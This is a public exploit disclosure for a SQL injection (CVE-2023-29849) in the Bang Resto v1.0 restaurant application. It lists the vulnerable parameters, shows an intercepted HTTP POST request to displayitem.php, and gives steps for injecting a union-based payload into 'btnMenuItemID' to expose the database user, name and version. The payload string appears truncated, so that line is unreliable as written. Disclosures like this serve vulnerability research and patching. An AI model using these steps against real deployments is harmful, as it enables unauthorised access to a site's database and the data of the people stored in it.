# Exploit Title: Bang Resto v1.0 - 'Multiple' SQL Injection  
# Date: 2023-04-02  
# Exploit Author: Rahad Chowdhury  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53  
# CVE: CVE-2023-29849  
*Affected Parameters:*  
btnMenuItemID, itemID, itemPrice, menuID, staffID, itemPrice, itemID[],  
itemqty[], btnMenuItemID  
*Steps to Reproduce:*  
1. First login your staff panel.  
2. then go to "order" menu and Select menu then create order and intercept  
request data using burp suite.  
so your request data will be:  
POST /bangresto/staff/displayitem.php HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/111.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 194  
Cookie: PHPSESSID=2rqvjgkoog89i6g7dn7evdkmk5  
Connection: close  
3. "btnMenuItemID" parameter is vulnerable. Let's try to inject union based  
SQL Injection use this query ".1 union select  
-" in "btnMenuItemID" parameter.  
4. Check browser you will see user, database and version informations.